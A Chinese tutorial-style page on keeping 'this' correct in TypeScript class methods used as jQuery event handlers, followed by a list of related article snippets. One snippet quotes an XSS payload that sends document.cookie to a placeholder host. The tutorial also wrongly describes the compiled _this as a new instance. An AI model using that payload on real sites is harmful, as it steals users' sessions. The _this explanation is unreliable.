# TypeScript 中如何确保 this 的正确性
问题
在 TS 里面 this
关键字一开始让我这个写 C# 的十分惊讶,比如下面的一段代码,注意 initBinding
方法
class Company {
id:number;
/**
* 在点击编辑按钮的时候开始初始化 currentCompany 对象
* @param e 触发事件的 tr
*/
constructor(e:JQueryEventObject) {
//省略了初始化字段的代码
this.initBinding();
}
/**
* 在这里绑定模态框的事件
*/
initBinding() {
$('#confirmDelete').one('click',this.confirmDelete);
}
/**
* 确认删除按钮的行为
* @returns {boolean} 删除是否成功
*/
confirmDelete():boolean {
console.log("确认删除"+this.id);
//省略请求服务器处理的操作
return true;
}
}
在 initBinding
方法里面,我给一个按钮的 click
事件绑定了一个方法,这个方法会打印一下当前选中的公司的 id
但是,结果让人意外,打印出来的竟然是这个按钮的 id
按照原先学习的 C# 里面面向对象的观念,对象的方法里面的 this
应该是指的这个对象本身,可是在这里的 this
却变成了触发事件的按钮。
分析
让我们想想 js 中是如何定义成员方法的,定义一个属性,属性的值是一个 function ;
所以,在我们调用的这个成员方法的时候实际上是调用的这个属性返回的方法,这个方法其实是与返回他的属性所属的对象是无关的。
换句话来说,成员方法中的 this
要结合调用它的上下文来看待,在上面的例子中,我们是在按钮的 click
事件中调用的 confirmDelete
方法,所以,其中的 this
就是指的这个产生 click
事件的按钮。
解决
为了让 confirmDelete
方法能够找到正确的上下文,我们将事件绑定的部分修改一下:
/**
* 在这里绑定模态框的事件
*/
initBinding() {
$('#comDelete').one('click', Company.deleteCom);
$('#confirmDelete').one('click', ()=>this.confirmDelete());
}
让我们看看编译后的 js 代码:
/**
* 在这里绑定模态框的事件
*/
Company.prototype.initBinding = function () {
var _this = this;
$('#confirmDelete').one('click', function () { return _this.confirmDelete(); });
};
这里生成了一个局部变量 _this
,是当前对象的一个相等的新的实例,通过在一个匿名的函数中调用他的 confirmDelete
方法,这样,就能够正确的解析 this
关键字为我们所希望的当前对象了
参考链接:
TypeScript里的 this
# TypeScript 中如何确保 this 的正确性的更多相关文章
- 【TypeScript】如何在TypeScript中使用async/await,让你的代码更像C#。
[TypeScript]如何在TypeScript中使用async/await,让你的代码更像C#. async/await 提到这个东西,大家应该都很熟悉.最出名的可能就是C#中的,但也有其它语言也 ...
- keil mdk中如何确保某一段程序不被优化掉(转)
源:keil mdk中如何确保某一段程序不被优化掉 使用mdk编程,假如有一个有用的函数你定义了但是没有显式的调用,mdk在默认方式下,将会把这个函数从整个程序总删除掉,以节省ROM. 比如,你在RO ...
- TypeScript中的怪语法
TypeScript中的怪语法 如何处理undefined 和 null undefined的含义是:一个变量没有初始化. null的含义是:一个变量的值是空. undefined 和 null 的最 ...
- JavaScript 和 TypeScript 中的 class
对于一个前端开发者来说,很少用到 class ,因为在 JavaScript 中更多的是 函数式 编程,抬手就是一个 function,几乎不见 class 或 new 的踪影.所以 设计模式 也是大 ...
- TypeScript 中的方法重载
方法重载(overload)在传统的静态类型语言中是很常见的.JavaScript 作为动态语言, 是没有重载这一说的.一是它的参数没有类型的区分,二是对参数个数也没有检查.虽然语言层面无法自动进行重 ...
- typescript中的接口
说到接口:在面向对象的编程中,接口是一种规范的定义,它定义了行为和动作的规范,在程序设计里面,接口起到一种限制和规范的作用.接口定义了某一批类所需要遵守的规范,接口不关心这些类的内部状态数据,也不关心 ...
- Typescript中的装饰器原理
Typescript中的装饰器原理 1.小原理 因为react中的高阶组件本质上是个高阶函数的调用, 所以高阶组件的使用,我们既可以使用函数式方法调用,也可以使用装饰器. 也就是说,装饰器的本质就是一 ...
- ES6 中 Class 与 TypeScript 中 Class 的区别(待补充)
ES6 中 Class 与 TypeScript 中 Class 的区别(待补充)
- 在TypeScript中扩展JavaScript基础对象的功能
最近工作中用到,记录一下:假设我们需要一个功能,把一个数字比如10000输出为下面的字符串格式“10,000”,一般是写一个方法,那么我希望更方便一点,直接向Number类型添加一个格式化方法,比如叫 ...
随机推荐
- CSS DIV 独占一行,清除左右两边的浮动
clear:both //表示清除左右两边浮动的层,自己独占一行
- xss如何加载远程js的一些tips
在早期 , 对于xss我们是这样利用的 <script>window.open('http://xxx.xxx/cookie.asp?msg='+document.cookie)</ ...
- Android 6.0 权限管理
google官方例子: https://github.com/googlesamples/android-RuntimePermissions Android 6.0在我们原有的AndroidMani ...
- 【java基础学习】字符串
字符串 1. java内存区域(堆区.栈区.常量池) 2. String方法 获取长度 length(); 获取位置 indexOf(index); lastIndexOf(index) 获取子串 c ...
- js鲸鱼
<!DOCTYPE html> <html lang="en" xmlns="http://www.w3.org/1999/xhtml"> ...
- C#编程利器之二:结构与枚举(Structure and enumeration)【转】
C#编程利器之二:结构与枚举(Structure and enumeration) 在上一篇文章中,介绍了类如何封装程序中的对象.而实际中,出了类可以封装对象外,结构和枚举也可以封装一些对象,本文将着 ...
- Python开发程序:ATM+购物商城
一.程序要求 模拟实现一个ATM + 购物商城程序 额度 15000或自定义 实现购物商城,买东西加入 购物车,调用信用卡接口结账 可以提现,手续费5% 每月22号出账单,每月10号为还款日,过期未还 ...
- fiddler实现手机端抓包(代理)
一.fiddler设置代理 1.打开Fiddler->Tools->Fiddler Options在Connection面板里将 Allow remote computers to con ...
- SDK开发断点失效
做SDK开发,一般会创建一个静态库工程,然后添加一个app的Target 可是,Xcode7创建的工程,app的Target中断点有效,能断住,为什么静态库的Target中的断点断不住呀. 断点断住发 ...
- js web实现移动端触控
// 触摸事件 $(".m_l_i_l a").on("touchstart", function(){ $(this).css("color&quo ...